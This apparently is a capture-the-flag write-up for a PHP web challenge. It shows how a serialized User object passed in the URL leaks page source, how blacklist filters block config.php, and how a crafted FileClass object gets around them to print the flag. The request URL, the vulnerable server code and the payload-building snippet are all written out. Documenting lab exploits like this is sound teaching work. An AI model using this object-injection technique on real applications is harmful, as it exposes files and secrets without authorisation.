On the index page, we can see a form containing many fields: first name, age, and a picture field containing a list of image files.
Once this form validated, we see a summary of what we entered previously, and our image, base64 encoded, into an <img> tag. So far, nothing weird.
But, by looking the webpage URL, we could find some datas which could be a serialized PHP object.
1 | http: //challenge.cybercamp.es:8092/show.php?u="O:4:"User":3{s:3:"age";s:6:"sdvsdv";s:4:"name";s:6:"dsvsdv";s:7:"picture";s:8:"cat5.png";}" |
Why did not try to modify this cat5.png by something else than an image, as show.php for example ?
Bingo! We got the PHP code of the page, base64 encoded in the img tag!
Once decode we clearly see an included php page.
1 | <?php include ( 'UClass.php' ); $obj = unserialize( $_GET [ 'u' ]); echo $obj ; ?> |
By using the same method as above, we got the UClass.php source code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | <?php include ( 'config.php' ); class FileClass { public $filename = 'error.log' ; public function __toString() { return file_get_contents ( $this ->filename); } } class User { public $age = 0; public $name = '' ; public $picture = 'null' ; public function __toString() { $picture = $this ->picture; if (preg_match( "/\.\./" , $picture )) { $picture = "null" ; } if (preg_match( "/config/" , $picture )) { $picture = "null" ; } if (preg_match( "/\//" , $picture )) { $picture = "null" ; } if (preg_match( "/^\./" , $picture )) { $picture = "null" ; } if (preg_match( "/:/" , $picture )) { $picture = "null" ; } return '<center>Your cat "' . $this ->name . '" is ' . $this ->age . ' years old. ' . '<img height="200" width="200" src="data:image/png;base64,' . base64_encode ( file_get_contents ( $picture )) . '"></center> '; } } ?> |
From here, we can see all the source code to load our summary webpage, and an config.php file included.
But there is one obvious trap: preg_match() blocking us loading config.php, with our previous technique.
However, the FileClass class will do a file_get_contents without worrying the file that it reads.
Let’s try to create a FileClass object with the variable $filename containing “config.php”,
1 | <?php class FileClass { public $filename = 'error.log' ; } $obj = new FileClass(); echo serialize( $obj ); // O:9:"FileClass":1:{s:8:"filename";s:9:"error.log";} ?> |
Once unserialized on the server, the FileClass class is instantiated and then the content of config.php is printed with the __toString(), showing us the flag.
1 | <?php $you_are_cool = "8df751c556681f8bd815a582351654fe" ; ?> |